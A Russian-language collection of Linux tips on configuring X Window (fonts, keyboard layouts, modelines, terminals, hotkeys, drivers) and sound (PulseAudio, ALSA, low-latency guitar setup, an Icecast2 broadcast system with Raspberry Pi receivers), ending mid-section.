    Вывести окно с текстом (60 - это таймаут для отображения окна):
       Xdialog --msgbox "text splitting\ntest..." 0 0
       Xdialog --infobox "text splitting\ntest..." 0 0 60
    
    Запросить текст от пользователя, по умолачнию выдать test:
       user_text=`echo "test" | Xdialog --editbox "-" 0 0`
    
    Показать, что выполнено 15% работы (--progress принимает накопительные данные)
    (новые значения посылаются через stdin, как только будет больше 100 окно закроется):
       Xdialog --gauge "test" 0 0 15
       Xdialog --progress "test" 0 0 100
    
    Ввод строки от пользователя (введенная строка помещается в stdout):
       Xdialog --inputbox "test" 0 0 "string"
    
    Ввод логина и пароля (в stduot - login/password):
       Xdialog --password --2inputsbox "test" 0 0 "Login" "guest"  "Password" ""
    
    Выбор элемента из списка:
       Xdialog -combobox "test" 0 0 "Test1" "Test2" "Test3"
    
    Выбор диапазона (от 1 до 10):
       Xdialog -rangebox "test" 0 0 1 10
    
    Показывать в окне растущий хвост файла file.txt:
       Xdialog  --tailbox file.txt 0 0
       Xdialog  --logbox file.txt 0 0
    
    Выбор файла или директории
       Xdialog --fselect def_file.txt 0 0
       Xdialog --dselect def_dir 0 0
    
    Показать 5 июня на календаре
       Xdialog --calendar "test" 0 0 5 6 2005
    
     
    ----* Разные раскладки клавиатуры для каждого пользователя в X Window (доп. ссылка 1)   Автор: madskull  [обсудить]
     
    Создаем файл .Xkbmap и кладем его в свою домашнюю директорию (например: /home/mitya ). 
    
    Внутри файла пишем, например: 
       -option grp:ctrl_shift_toggle,grp:switch,grp_led:scroll us,ru
    
     
    ----* Как добавить Windows TrueType шрифты для xfs в X Window   [комментарии]
     
    - Копируем ttf шрифты ~/.font, переходим в директорию ~/.font
    - Запускаем: ttmkfdir > fonts.scale
    - Запускаем: mkfontdir
    - Запускаем: fc-cache ./
    - Прописываем ~/.font в /etc/X11/fs/config (список "catalogue") или запускаем:
       /usr/sbin/chkfontpath --add ~/.font
    - Запускаем: xset fp rehash
    - Запускаем: service xfs restart
    - Проверяем, новые шрифты должны быть показаны в выводе утилит fc-list,
    xlsfonts, xfontsel, kcharselect, gfontsel и chkfontpath;
    
    В KDE можно использовать: "Control Center/System/Font Installer".
    
    В OpenOffice для добавления шрифтов нужно использовать утилиту spadmin.
    
    Для AbiWord шрифты нужно скопировать в /usr/share/abisuite/AbiSuite/fonts и запустить 
       mkfontdir; ttmkfdir > fonts.scale
    
    При наличии проблем с антиалиасингом, необходимо пересобрать библиотеку FreeType, активировав 
    "#define TT_CONFIG_OPTION_BYTECODE_INTERPRETER" в include/freetype/config/ftoption.h
    
    В AltLinux рекомендуется поставить пакеты  freefont-fonts-ttf, freetype и ms-fonts-ttf.
    
    
    Другой способ добавления шрифтов:
    Копируем шрифты например в директорию, ~/fonts
    В ~/.xinitrc добавляем
       xset fp+ $HOME/fonts/
    
     
    ----* Частота развертки в X.org (100hz не фантастика)   Автор: Казаков Александр aka classic  [комментарии]
     
    Пример как повысить частоту для режима 1152х864 с 75 до 100 Hz
    
    И так для начала запустим утилиту входящую в состав xorg:
    
       gtf 1152 864 100
    
    Она выдаст строчку, которую на скопировать в /etc/X11/xorg.conf в section monitor:
    
       Section "Monitor"
          Identifier   "iiyama"
          VendorName   "1152x864_100.00"
          ModelName    "1152x864@100.00 Hz"
          # 1152x864 @ 100.00 Hz (GTF) hsync: 91.50 kHz; pclk: 143.47 MHz
          Modeline "1152x864_100.00"  143.47  1152 1232 1360 1568  864 865 868 915  -HSync +Vsync
          Option      "DPMS"
       EndSection
    
    Теперь идем в section "Screen" и редактируем:
    
       Section "Screen"
          Identifier "Screen0"
          Device     "Card0"
          Monitor    "iiyama"    # Монитор, который определили выше
          DefaultDepth     24
          SubSection "Display"
             Viewport   0 0
             Depth     24
             Modes    "1152x864_100.00"  # Режим определенный выше строчкой Modeline      EndSubSection
       EndSection
    
    Рестартуем "иксы".
    
     
    ----* Как избавиться от линковки GNOME приложения с лишними библиотеками (доп. ссылка 1)   [комментарии]
     
    Собираем по умолчанию:
        readelf -d /usr/local/bin/gnome-terminal |grep NEEDED | wc -l
        52 - требуется 52 библиотеки.
    
    Устанавливаем флаг --as-needed:
        export CFLAGS = "-Os -s -Wl,--as-needed"
    
    После пересборки, требуется 21 реально необходимая для работы библиотека.
    
     
    ----* Настройка цветовой гаммы в rxvt   [комментарии]
     
    В ~/.Xdefaults:
    
      Rxvt*background: Black
      Rxvt*foreground: #D0D0D0
      Rxvt*font:-misc-fixed-medium-r-normal-*-*-140-*-*-c-*-koi8-r
      !Rxvt*sсrollBar_right: True
      Rxvt*sсrollBar:False
      Rxvt*saveLines: 500
      Rxvt*color0:  #000000
      Rxvt*color1:  #aa0000
      Rxvt*color2:  #00aa00
      Rxvt*color3:  #aa5500
      Rxvt*color4:  #0000aa
      Rxvt*color5:  #aa00aa
      Rxvt*color6:  #00aaaa
      Rxvt*color7:  #aaaaaa
      Rxvt*color8:  #555555
      Rxvt*color9:  #ff5555
      Rxvt*color10: #55ff55
      Rxvt*color11: #ffff55
      Rxvt*color12: #5555ff
      Rxvt*color13: #ff55ff
      Rxvt*color14: #55ffff
      Rxvt*color15: #ffffff
    
    Другой вариант:
    
      Rxvt*color0:  #000000
      Rxvt*color1:  #fe0b12
      Rxvt*color2:  #00d900
      Rxvt*color3:  #ff7916
      Rxvt*color4:  #000095
      Rxvt*color5:  #aa00aa
      Rxvt*color6:  #00aaaa
      Rxvt*color7:  #e2e2e2
      Rxvt*color8:  #555555
      Rxvt*color9:  #aa3838
      Rxvt*color10: #55ff55
      Rxvt*color11: #ffff55
      Rxvt*color12: #5555ff
      Rxvt*color13: #ff55ff
      Rxvt*color14: #bebebe
      Rxvt*color15: #ffffff
    
    
    Для активации изменений: xrdb -merge ~/.Xdefaults
    
    Для rxvt-unicode (urxvt) нужно поменять "Rxvt*" на "URxvt*",
    для aterm (использую его) - "Rxvt*" на "Aterm*".
    
     
    ----* Увеличение скорости работы Firefox   Автор: Ilya Voronin  [комментарии]
     
    Пишем в адресной строке 'about:config', в полученном списке находим следующие параметры 
    (можно воспользоваться поиском):
    
       network.http.pipelining
       network.http.proxy.pipelining
    
    И выставляем их в 'true'. По умолчанию браузер делает запросы к серверу последовательно, 
    а при включении pipelining все запросы будут выполнены параллельно.
    
    Затем параметр:
    
       network.http.pipelining.maxrequests
    
    Выставляем его например в '32'. Это число - максимальное кол-во параллельно выполняемых запросов.
    
    И последний:
    
       nglayout.initialpaint.delay
    
    Выставляем в '0'. (Скорей всего такого параметра ещё не существует, - нажимаем
    правую кнопку мышки и
    выбираем в меню 'New'=>'Integer'. Вводим имя - 'nglayout.initialpaint.delay' и 
    присваиваем значение '0'). Это число определяет задержку перед отображением полученных данных.
    
     
    ----* Как посмотреть параметры видеокарты (доп. ссылка 1)   [комментарии]
     
    xdpyinfo
    glxinfo
    xvinfo 
    
     
    ----* Как использовать доп. клавиши на ноутбуке/клавиатуре   [комментарии]
     
    Вооружаемся man xev и man xmodmap и привязываем действия к cпецклавишам:
        * Fn+F2 - mute
        * Fn+F3 - Уменьшить звук
        * Fn+F4 - Прибавить звук
        * Кнопка слева от кнопки питания - запустить gnome-terminal
        * Кнопка справа от кнопки питания - запустить xfmail 
    
    Определяем коды символов, запустив xev:
        * Fn+F2 - 160
        * Fn+F3 - 174
        * Fn+F4 - 176
        * кн. слева - 178
        * кн. справа - 236 
    
    Прописываем имена комбинаций через xmodmap ("setxkbmap `cat file`" или "xmodmap file"):
    
       vi /.xmodmaprc (/.Xmodmap, /etc/X11/xinit/Xmodmap, /.Xkbmap,  /etc/X11/xinit/Xkbmap)
       keycode 160 = XF86AudioMute
       keycode 174 = XF86AudioLowerVolume
       keycode 176 = XF86AudioRaiseVolume
       keycode 178 = XF86HomePage
       keycode 236 = XF86Mail
    
    Настраиваем WM для запуска программ при нажатии на клавиши (на примере icewm):
    
       vi ~/.icewm/keys                   
       key "XF86AudioLowerVolume"      aumix -v -5
       key "XF86AudioRaiseVolume"      aumix -v +5 
       key "XF86AudioMute"             aumix -v 0   
       key "XF86HomePage"              gnome-terminal 
       key "XF86Mail"                  xfmail
    
     
    ----* Как изменить частоту обновления экрана через modeline для XFree86   Автор: vvk  [комментарии]
     
    From: Roman Blyshchyk (2:450/206.9)
    
    > Modeline "mode_name" D H1 H2 H3 H4 V1 V2 V3 V4 Flags
    
    Запускаешь утилитку xvidtune, котоpая должна быть в иксах. Далее, пишешь в
    XF86Config-4 в pазделе монитоp
    стpочку моделайн, где mode_name = 1280x1024, под D оставляешь пока место.
       H1 - 1280, H2 - HSyncStart, H3 - HSyncEnd, H4 - HTotal
       V1 - 1024, V2 - VSyncStart, V3 - VSyncEnd, V4 - VTotal
    , где всякие синки беpуться из xvidtune.
    А D считается так 100(тpебуемая частота)*H4*V4/100000(миллион), окpугляешь до сотых.
       Flags - +hsync +vsync
    
     
    ----* Работа видеокарты radeon 9200 в XFree-4.3.X (доп. ссылка 1)   Автор: dawnshade  [обсудить]
     
    Section "Device"
            Identifier  "Card0"
            Driver      "radeon"
            VendorName  "ATI Technologies Inc"
            BoardName   "ATI Radeon"
            ChipID      0x514D
            BusID       "PCI:1:0:0"
    EndSection
    
     
    ----* Как обойти проблему когда KDE приложения завершаются ошибкой   Автор: spanka  [обсудить]
     
    Можно попробовать запустить их с параметром  --nocrashhandler
    
     
    ----* Как запустить XWindow приложение с удаленной машины.   [комментарии]
     
    Локальная машина:
      xhost +remote.host.ru
    
    Удаленная машина:
      export DISPLAY=local.host.ru:0.0
    
    Если для ssh включен X11Forwarding, то DISPLAY=localhost:10.0 будет уже прописан: 
       ssh -X host
    
    Проверьте настройки сервера (/etc/openssh/sshd_config)
       X11Forwarding yes
    
    и клиента (ssh_config):
    
       ForwardAgent yes
       ForwardX11 yes
       ForwardX11Trusted yes
    
    Кроме единичных приложений, можно сразу удаленно запустить GNOME, выполнив команду:
       gnome-session
    
     
    ----* Как запустить второй X-сервер, когда один уже запущен   [обсудить]
     
      startx -- :1
    
     
    ----* Рекомендации по вызову xterm и установке шрифтов   [обсудить]
     
    xterm -geometry 60x40 +sb -bg black -fg white -fn -*-*-medium-r-*--14-*-*-*-*-*-koi8-r
    xterm -bg black -cr green -fg white -C -fn 9x15 -sl 500
    xterm rxvt -bg black -cr green -fg white -C -fn 9x15 -sl 500 -tn xterm -geometry 90x45
    xterm  -T "Запуск приложения в xterm" -e /usr/bin/prog
    Мне нравится использовать rxvt и gnome-terminal
    
     
    ----* Как создать Makefile из Imakefile   [обсудить]
     
        xmkmf
    
     
    ----* Как перечитать .Xdefaults без перезапуска X'ов ?   [обсудить]
     
       xrdb -merge ~/.Xdefaults
    
     
    ----* Как избавится от падения NVidia драйвера при переключении режимов.   [обсудить]
     
    В XF86Config-4, в Section "Device" добавить строку:
        Option "NvAgp" "1"
    
     
    ----* Как насторить работу Mouse Wheel.   [комментарии]
     
    gpm -t imps2 или в /etc/sysconfig/mouse:
    	MOUSETYPE=imps2
    	WHEEL=yes
    ln -s /dev/psmouse /dev/mouse или ln -s /dev/psaux/ /dev/mouse
    В XF86Config-4 в Section "InputDevice":
    	 Identifier  "Mouse"
    	 Driver "mouse"
    	 Option "Protocol"    "IMPS/2"
    	 Option "Device"      "/dev/mouse"
             Option "ZAxisMapping" "4 5"
             Option "Buttons" "5"
    
     
    ----* Как сделать скриншот всего экрана X Window   [обсудить]
     
    В консоли, используя пакет ImageMagic:
    import -display localhost:0.0 -window root screenshot.jpg
    
     
    ----* Как запустить Quake I X11 в полноэкранном режиме   [обсудить]
     
    X'ы должны быть запущены как: startx -- -bpp 8
    
     
    ----* Как посмотреть какие koi8-r шрифты установлены для X Window   [обсудить]
     
    xlsfonts -fn "*-koi8-r"
    
     
    ----* Создание глобальных горячих клавиш в GNOME (доп. ссылка 1)   Автор: Андрей Синицын  [комментарии]
     
    Назначение собственных "горячих клавиш" для выполнения каких-либо команд в GNOME.
    
    Есть небольшой апплет, доступный через меню GNOME 
    
       "Система" > "Параметры" > "Комбинации клавиш клавиатуры"
       "Desktop" > "Preferences" > "Keyboard Shortcuts"
    
    который позволяет назначить горячие клавиши для некоего набора предопределенных действий. 
    Используя этот апплет вы можете, например, назначить сочетание "Ctrl - Alt - t"
    для запуска эмулятора терминала.
    Но поскольку список фиксирован, вы не сможете добавить в него новое действие. 
    А вы хотите, к примеру, назначить сочетание "Ctrl - Alt - e" для запуска Emacs. 
    
    Назначить произвольные горячие клавиши, можно воспользовавшись gconf-editor
    
    Откройте терминал и наберите:
    
        user@desktop:~$ gconf-editor
    
    Откроется редактор настроек GNOME. С его помощью мы должны сделать две вещи:
    
        * Определить новую команду
        * Определить сочетание клавиш для выполнения этой команды
    
    Перейдите в раздел 
       "apps" > "metacity" > "keybinding_commands" 
    
    В правой панели выберите пункт "command_1" и измените его значение на /usr/bin/emacs
    Теперь нам необходимо задать клавиатурную комбинацию для этой команды. 
    Перейдите в раздел 
       "apps" > "metacity" > "global_keybindings". 
    
    Выберите пункт "run_command_1" и измените его значение на <control><alt>e.
    Вуаля! Нажимаем Ctrl - Alt -e и запускается Emacs
    
     
    ----* Установка ATI Catalyst 8.5 в Ubuntu 8.04 (доп. ссылка 1)   Автор: Pronix  [комментарии]
     
    1. Скачать ati-driver-installer-8-5-x86.x86_64.run
    
    2. В консоли выполнить для синхронизации списка пакетов, доступных в репозиториях:
    
       sudo apt-get update
    
    Затем, установить пакеты, необходимые для сборки модуля ядра из исходных
    текстов и создания deb пакета:
    
       sudo apt-get install build-essential fakeroot dh-make debhelper debconf libstdc++5 dkms linux-headers-$(uname -r)
    
    3. В консоли запускаем инсталлятор драйвера в режиме создания пакетов:
    
       sudo sh ati-driver-installer-8-5-x86.x86_64.run --buildpkg Ubuntu/8.04
    
    
    4. Теперь нужно занести в черный список драйвер fglrx из репозитория Ubuntu, выполняем
    
       sudo gedit /etc/default/linux-restricted-modules-common
    
    и в строке "DISABLED_MODULES" добавляем "fglrx"
    получаем строку:
    
       DISABLED_MODULES="fglrx"
    
    сохраняем файл
    
    5. далее в консоли устанавливаем подготовленные пакеты с драйвером:
    
       sudo dpkg -i xorg-driver-fglrx_8.493*.deb fglrx-kernel-source_8.493*.deb fglrx-amdcccle_8.493*.deb
    
    
    6. Перезагружаем X сервер. 
    
    7. проверяем:
    
       $ fglrxinfo
       display: :0.0 screen: 0
       OpenGL vendor string: ATI Technologies Inc.
       OpenGL renderer string: Radeon X1900 Series
       OpenGL version string: 2.1.7537 Release
    
    PS: все вышесказанное проверялось на i386 конфигурации с видеокартой X1900, 
    для amd64 возможны небольшие отличая в установке.
    
    Оригинал: http://pronix.isgreat.org/news.php?item.86.5
    
     
    ----* Что делать если X Server стартует но KDE не загружается   Автор: Владислав  [комментарии]
     
    Проблема:
      Если запускаем XDM то все работает нормально,
      но если запускаем startx то X-Server стартует но KDE не загружается (висит), 
      если убить X-Server (Ctrl+Alt+BackSpace) то остаются висеть процессы кkde*, 
      если теперь запустить чистый X-Server (X) то продолжается загрузка Kde
    
    Решение в моем случае:
      в файле /etc/X11/xinit/xinitrc.kde строку
        startkde
      заменить на 
        exec startkde >& ~/kde.error.log
      после этого работает нормально
    
    Объяснение:
      когда стартует X-Server то видимо блокируется стандартный поток ошибок и если какая-то 
      программа хочет в него чего-то вывести она просто подвисает (наверно это глюк)
    
     

       Запись и обработка звука

    ----* Как избавиться от щелчков при запуске приложений на системах с чипами Intel (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    При щелчках в колонках в процессе работы следует выключить режим
    энергосбережения у звукового драйвера:
    
       sudo tee /etc/modprobe.d/snd-hda-intel.conf <<< "options snd_hda_intel power_save=0" 
    
     
    ----* Решение проблемы с исчезновением устройств вывода звука в Ubuntu 20.04 (доп. ссылка 1) (доп. ссылка 2)   Автор: Аноним  [комментарии]
     
    Пропал звук. Pulseaudio показывает в качестве выходного устройства Dummy Output.
    
    Звуковая карта snd-hda-intel. Манипуляции 
    
       echo "options snd-hda-intel model=generic" | sudo tee -a /etc/modprobe.d/alsa-base.conf
       echo "options snd-hda-intel dmic_detect=0" | sudo tee -a /etc/modprobe.d/alsa-base.conf
       echo "blacklist snd_soc_skl" | sudo tee -a /etc/modprobe.d/blacklist.conf
    
    с перезагрузкой не дали ничего. Потом стал вспоминать, что делал до того, как
    исчез звук. Подключал Bluetooth колонки.
    
    Залез в настройки Bluetooth, потёр всё. Звук появился. Какой-то глюк в bluez5.
    
    В другой ситуации звук исчез (также остался только "dummy output") после
    обновления с Ubuntu 18.04 до 20.04. Помогло удаление пакета timidity:
    
        sudo apt purge timidity-daemon
    
     
    ----* Гитара в Debian и борьба с XRUN   Автор: Павел Отредиез  [комментарии]
     
    Опыт настройки Debian для повышения качества обработки звука с электрогитары.
    
    У меня достаточно средняя конфигурация: Athlon X3 3.4 GHz и дешевая USB
    звуковая карта Behringer UFO202 (лучше бы Behringer UCA222). Из софта использую
    qjackctl + jackd, guitarix, rakarrack. Надо сказать, что guitarix
    прожорливее на первый взгляд, чем rakarrack, хотя в обоих случаях
    потребление ресурсов зависит от навороченности эффектов.
    
    Итак чего я добился: ни одного XRUN (переполнение звукового буфера) при
    запуске jackd:
    
       /usr/bin/jackd -dalsa -dhw:CODEC -r48000 -p256 -n2
    
    Что позволяет играть без артефактов с почти незаметной задержкой.
    
    Для этого:
    
    1. И самое важное. Заметил что cpufreq гувернер ondemand всё равно через минуту
    две начинает снижать частоту ядер процессора и проскакивают единичные XRUN.
    Поэтому наш выбор гувернер performance (у меня 3 ядра):
    
       cpufreq-set -c 0 -g performance
       cpufreq-set -c 1 -g performance
       cpufreq-set -c 2 -g performance
    
    2. Также советую nice. В debian приведем файл /etc/security/limits.d/audio.conf
    к виду:
    
       @audio   -  rtprio     95
       @audio   -  memlock    unlimited
       @audio   -  nice      -19
    
    Обратите внимание последняя строчка была по умолчанию закоментирована.
    Добавим себя в группу audio если нет:
    
       gpasswd -a user audio
    
    Средствами qjackctl приоритет меньше 0 не выставляется. Мы сделаем -19. Для
    этого в свойствах ярлыков на панели запуска программ поменяем команды запуска типа:
    
       nice -n -19 qjackctl
       nice -n -19 guitarix
       nice -n -19 rakarrack
    
    Дочерние процессы наследуют приоритет.
    
     
    ----* Использование ALSA в Firefox и приложениях, поддерживающих только PulseAudio (доп. ссылка 1)   [комментарии]
     
    В рамках проекта apulse развивается эмулятор API PulseAudio на базе
    подсистемы ALSA, позволяющий запускать некоторые привязанные к PulseAudio
    приложения без установки данного звукового сервера.
    
    Например, для запуска Firefox поверх ALSA достаточно выполнить:
    
        apulse firefox
    
    предварительно настроив устройство вывода и изменив параметры sandbox-изоляции в Firefox.
    
    Если устройство вывода звука по умолчанию не заработало, то его можно указать
    через переменную окружения APULSE_PLAYBACK_DEVICE, например:
    
       export APULSE_PLAYBACK_DEVICE=plughw:0,0 
    или
       export APULSE_PLAYBACK_DEVICE=hw:0,0 
    
    Список доступных устройств можно посмотреть командой
    
       aplay -L
    
    
    При использовании микрофона можно настроить и устройство ввода:
    
       export APULSE_CAPTURE_DEVICE=plughw:2,0 
    
    где 2 - это канал, связанный с микрофоном в web-камере (0 - встроенная карта, 1
    звуковой ввод через HDMI).
    
    В Firefox следует в настройках about:config разрешить доступ к устройству /dev/snd
    
       security.sandbox.content.read_path_whitelist = /dev/snd/,/home/username/.asoundrc
       security.sandbox.content.write_path_whitelist = /dev/snd/ 
    
    если не заработало также можно попробовать
    
       security.sandbox.content.level=2
    
    Если не работает смешивание звуков и при воспроизведении в Firеfox приглушаются
    другие источники, в файл ~/.asoundrc можно добавить
    
       pcm.plugdmix {
           type plug
           slave.pcm "dmix"
       }
    
    И указать устройство выхода plugdmix:
    
       export APULSE_PLAYBACK_DEVICE=plugdmix
    
     
    ----* Разбираемся с "треском" в PulseAudio   Автор: leap42  [комментарии]
     
    Теория
    
    При воспроизведении звука часть потока буферизируется перед отправкой в
    устройство. Существует два подхода к наполнению буфера: условно "старый" -
    статический буфер, состоящий из нескольких фрагментов, вставка каждого
    следующего фрагмента по прерыванию (IRQ). Его плюс в предсказуемости - он
    работает всегда, и всегда одинаково. Но есть у него и минусы - 50 прерываний в
    секунду не дают процессору заснуть и энергосберегать. Не дают они ему и шанса
    считать что-то тяжёлое - прерывания всё время "отвлекают" ядро на очень
    простую, но "зудливую" задачу. Элементарная задача воспроизведения звука
    становится неоправданно затратной. Вишенка на торте - постоянная задержка при
    захвате звука: даже тогда, когда мы хотим минимальную задержку, она будет >=
    нашему статическому буферу (обычно ~100 ms).
    
    Второй подход (glitch free на языке маркетологов) подразумевает динамический
    буфер и вставку фрагмента по таймеру, без использования прерываний. Он лишён
    недостатков первого, но требует поддержки железом, приличных драйверов,
    "сознательности" приложения, которое должно запросить себе комфортный буфер
    (минимальный для программ захвата - 0-20ms, и большой для плееров - 200-2000ms).
    
    Dropout - ситуация, в которой фрагмента не оказалось в буфере в момент его
    воспроизведения. Одновременно является самой частой причиной звуковых
    артефактов. Чем больше буфер, тем меньше шансов на dropout (но и задержка выше).
    
    ALSA реализует и поддерживает только первый способ буферизации. PulseAudio
    реализует оба, по умолчанию использует второй.
    
    Что делать? Кто виноват?
    
    Если вы слышите артефакты при воспроизведении звука через PulseAudio, первым
    делом стоит перевести демон в "режим ALSA" и убедиться, что проблема в таймере:
    
    /etc/pulse/default.pa:
    
       --- load-module module-udev-detect
       +++ load-module module-udev-detect tsched=0
    
       pulseaudio -k; pulseaudio --start (от пользователя)
    
    Нагрузку на CPU можно уменьшить, увеличив размер фрагмента 
    
    /etc/pulse/daemon.conf:
    
       --- #default-fragments 4
       +++ default-fragments = 2
       --- #default-fragment-size-msec 25
       +++ default-fragment-size-msec 125
    
    но это увеличит задержку. Задержку можно уменьшить (но это увеличит нагрузку на CPU)
    
    /etc/pulse/daemon.conf:
    
       --- #default-fragments 4
       +++ default-fragments = 8
       --- #default-fragment-size-msec 25
       +++ default-fragment-size-msec 5
    
    Параметры default-fragments и default-fragment-size-msec имеют силу только если
    вы выключили таймер (прописали tsched=0), или если он не поддерживается аппаратно.
    
    Есть и менее радикальный вариант: принудительная буферизация на стороне таймера:
    
    /etc/pulse/default.pa:
    
       --- load-module module-udev-detect
       +++ load-module module-udev-detect tsched_buffer_size=60000
    
    На современных системах 60000 (это микросекунды) можно заменить на 30000 (или
    даже меньшее число, я использую 23000)
    
     
    ----* Подавление шумов средствами PulseAudio (доп. ссылка 1)   [комментарии]
     
    При появлении шумов и эффекта эха в голосовых и видеочатах, возникающих при
    использовании встроенных в ноутбук динамиков и микрофона, можно воспользоваться
    фильтрами подавления шумов, предоставляемыми звуковым сервером PulseAudio.
    
    Для активации фильтра, перед запуском программы следует включить фильтр через
    переменную окружения PULSE_PROP. Например, для запуска программы, можно ввести:
    
       PULSE_PROP="filter.want=echo-cancel" имя_программы
    
    Для постоянного применения фильтра, его нужно добавить в файл
    ~/.config/pulse/default.pa или /etc/pulse/default.pa:
    
       .nofail
       load-module module-echo-cancel
    
    Метод подавления шума можно определить явно, например, наибольшее качество
    избавления от эха отмечается для метода webrtc, а более высокая стабильность
    для speex:
    
       load-module module-echo-cancel aec_method=webrtc
       load-module module-echo-cancel aec_method=speex
    
     
    ----* Создание системы трансляции звука на базе Debian, Icecast2, Ices и XBMC   Автор: Artem B Solodchenko  [комментарии]
     
    Появилась задача реализовать звуковое оповещение на территории предприятия.
    Проблема заключается в том, что оператор с микрофоном и прочими звукодевайсами
    находится на расстоянии 2-х километров от места где должны висеть колонки.
    Таким образом построение аналоговой системы очень дорогое удовольствие. При
    этом по всей территории существует действующая компьютерная сеть. То есть нужно
    организовать трансляцию звука через эту сеть.
    
    Для этого нам нужно будет использовать один компьютер как
    "транслятор", а другие как "приемники". Для построения
    сервера трансляции я использовал OS Linux Debian7.2, Icecast2 - сервер
    трансляции и Ices2 - организатор потока. Для построение клиента
    подвернулось очень интересное решение. Наткнулся на вот такое устройство:
    http://raspberrypi.ru/ - Одноплатный компьютер на базе процессора ARM 11 c
    тактовой частотой 700 mhz и 512mb RAM. И операционную систему к нему: XBMC Raspbian.
    
    Установка сервера:
    
    После установки Debian доставляем следующие пакеты: icecast2 ices2 pulseaudio
    
       apt-get install icecast2
       apt-get install ices2
       apt-get install pulseaudio
    
    после чего ставим pulseaudio в автозапуск
    
       update-rc.d pulseaudio enable 
    
    iceast2 конфигурация:
    
    для начала включаем использование icecast2. Для этого в файле /etc/default/icecast2 меняем
    
       ENABLE=false 
    на 
       ENABLE=true
    
    после чего правим файл конфигурации /etc/icecast2/icecast.xml
    
       <icecast> 
           <limits> 
               <clients>100</clients> <!-- Максимальное кол-во клиентов -->
               <sources>8</sources> <!-- Количество передаваемых потоков -->
               <threadpool>5</threadpool> 
               <queue-size>524288</queue-size> 
               <client-timeout>30</client-timeout> 
               <header-timeout>15</header-timeout> 
               <source-timeout>10</source-timeout> 
               <burst-on-connect>1</burst-on-connect>
               <burst-size>65535</burst-size> 
           </limits> 
    
           <authentication> 
               <source-password>ПАРОЛЬ</source-password> 
               <relay-password>ПАРОЛЬ</relay-password> 
               <admin-user>admin</admin-user> 
               <admin-password>ПАРОЛЬ</admin-password> 
           </authentication> 
    
           <hostname>localhost</hostname> <!-- Название сервера трансляции -->
    
           <listen-socket> 
              <port>8000</port> <!-- Порт трансляции -->
           </listen-socket> 
           <fileserve>1</fileserve> 
    
           <paths> 
    
               <basedir>/usr/share/icecast2</basedir> 
               <logdir>/var/log/icecast2</logdir> 
               <webroot>/usr/share/icecast2/web</webroot> 
               <adminroot>/usr/share/icecast2/admin</adminroot> 
    
               <alias source="/" dest="/status.xsl"/> 
           </paths> 
    
           <logging> 
               <accesslog>access.log</accesslog> 
               <errorlog>error.log</errorlog> 
               <loglevel>3</loglevel> 
               <logsize>10000</logsize> 
           </logging> 
    
           <security> 
               <chroot>0</chroot> 
           </security> 
       </icecast> 
        
    проверяем работоспособность:
    
       /etc/init.d/icecast2 start
    
    запускаем браузер, в адресной строке пишем : http://127.0.0.1:8000, авторизуемся, радуемся :-)
    
    после чего ставим icecast2 в автозапуск
    
       update-rc.d icecast2 enable 
    
    
    Конфигурация Ices2
    
    примеры конфигурационных файлов находятся в /usr/share/doc/ices2/examples
    
    мне нужно чтобы все что звучит на компе транслировалось в сеть. Используем ices-alsa.xml
    копируем его в /etc:
    
       сp /usr/share/doc/ices2/examples/ices-alsa.xml /etc
    
    после чего правим конфиг:
    
    /etc/ices-alsa.xml
    
       <?xml version="1.0"?> 
       <ices> 
    
           <background>1</background>  <!-- 1- Запуск в фоновом режиме -->
           <logpath>/var/log/ices</logpath> 
           <logfile>ices.log</logfile> 
           <logsize>2048</logsize> 
           <loglevel>4</loglevel> 
           <consolelog>0</consolelog> 
    
           <stream> 
               <metadata> 
                   <name>Example stream name</name> 
                   <genre>Example genre</genre> 
                   <description>A short description of your stream</description> 
                   <url>http://mysite.org<;/url> 
               </metadata> 
    
               <input> 
                   <module>alsa</module> 
                   <param name="rate">44100</param> 
                   <param name="channels">2</param> 
                   <param name="device">pulse</param> <!-- Устройство с которого берется поток -->
                   <param name="metadata">1</param> 
                   <param name="metadatafilename">test</param> 
               </input> 
    
               <instance> 
                
                   <hostname>АДРЕС_СЕРВЕРА_ТРАНСЛЯЦИИ</hostname> <!-- Адрес icecast2 сервера -->
                   <port>8000</port> <!-- Порт icecast2 сервера -->
                   <password>ПАРОЛЬ</password> <!-- Пароль к icecast2 серверу -->
                   <mount>/example1.ogg</mount> <!-- Название потока -->
                   <yp>1</yp>   <!-- allow stream to be advertised on YP, default 0 --> 
    
                   <encode> 
                       <quality>1</quality> 
                       <samplerate>22050</samplerate> 
                       <channels>2</channels> 
                   </encode> 
    
                   <downmix>0</downmix> 
    
                   <resample> 
                       <in-rate>44100</in-rate> 
                       <out-rate>22050</out-rate> 
                   </resample> 
               </instance> 
            </stream> 
       </ices> 
    
    Автозапуск ices2
    
    С автозапуском ices2 появились определенные проблемы. Он должен запуститься
    самым  последним, желательно после старта GNOME. По этому  используем
    графическое приложение "Настройки запуска приложений" для настройки
    автозапуска  ices2. Добавляем "Приложения &#8594; Системные &#8594;
    Параметры &#8594; Запускаемые приложения"
    Говорим "добавить", имя: Название приложения (Ices2), команда:
    /usr/bin/ices2 /etc/ices-alsa.xml, описание: Описание приложения (Starting
    Streaming Ices2).
    
    На этом конфигурация сервера окончена. Все что воспроизводится на сервере будет
    ретранслироваться в сеть.
    
    Установка OpenElec XBMC на RaspbianPi
    
    Для этого микрокомпьютера есть несколько операционных систем. Подробнее здесь: http://www.raspberrypi.org/downloads
    
    Ссылка на скачивание OpenElec XBMC
    http://downloads.raspberrypi.org/openelec_latest . Качаем, распаковываем.
    
    Для установки cначала скачиваем и устанавливаем MiniTool Partition Wizard Home
    edition вот отсюда: http://www.partitionwizard.com/free-partition-manager.html
    Запускаем, создаём раздел Primary 150 Mb, FAT32, Active с меткой System. Еще
    раздел на всю свободную область флешки Primary, EXT4 с меткой Storage.
    После этого переходим в раздел с распакованным дистрибутивом и делаем:
    
       copy target\\KERNEL d:\\kernel.img
       copy target\\SYSTEM d:\\
       copy 3dparty\\bootloader\\*.* d:\\
       copy openelec.ico d:
       copy README.md d:\\
    
    создаем и редактируем файл d:\\cmdline.txt
    
    вписываем в него следующее:
       boot=/dev/mmcblk0p1 disk=/dev/mmcblk0p2 console=ttyAMA0,115200 kgdboc=ttyAMA0,115200 console=tty1 ssh
    
    d:\\ - ваш flashdrive
    
    После этого вставляем флешку в RaspbianPi и включаем этот компьютер.
    
    ВАЖНО: логин root пароль openelec
    
    Создание ссылки на вещание
    
    В директории /storage/music
    
    создаем файл с расширением .strm
    
    в нем указываем источник трансяции
    
       http://АДРЕС_ICECAST:PORT/FILENAME
    
    Удалённая перезагрузка OPEN Elec
    
